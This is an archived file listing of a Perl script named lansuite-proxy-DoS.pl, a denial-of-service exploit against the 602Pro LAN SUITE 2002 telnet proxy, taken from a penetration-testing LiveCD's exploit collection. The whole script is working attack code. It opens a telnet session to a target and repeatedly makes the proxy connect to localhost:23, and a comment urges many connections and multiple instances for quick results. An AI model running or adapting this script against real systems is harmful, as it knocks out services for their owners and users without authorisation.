home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / lansuite / lansuite-proxy-DoS.pl < prev   
Perl Script  |  2005-02-12  |  664b  |  52 lines
  1. #!/usr/bin/perl
  2.  
  3. #
  4.  
  5. # lansuite-proxy-DoS.pl - 602Pro LAN SUITE 2002 telnet proxy DoS
  6.  
  7. #
  8.  
  9. # Note: Try very high number of connections and run multiple instances
  10.  
  11. # of the script for quick results.
  12.  
  13. #
  14.  
  15. # Date: August 3, 2002
  16.  
  17. # Author: Stan Bubrouski (stan@ccs.neu.edu)
  18.  
  19.  
  20.  
  21. if (!$ARGV[2]) {
  22.  
  23.         print "Usage $0 <hostname> <port> <connections>\n\n";
  24.  
  25.         exit();
  26.  
  27. }
  28.  
  29.  
  30. $host = $ARGV[0];
  31.  
  32. $port = $ARGV[1];
  33.  
  34. $numc = $ARGV[2];
  35.  
  36.  
  37.  
  38. use Net::Telnet ();
  39.  
  40. $t = new Net::Telnet;
  41.  
  42. $t->open(Host => $host,Port => $port);
  43.  
  44. foreach(1...$numc) {
  45.  
  46.         $t->waitfor('/.*host.*/');
  47.  
  48.         $t->print('localhost:23');
  49.  
  50. }
  51.  
  52.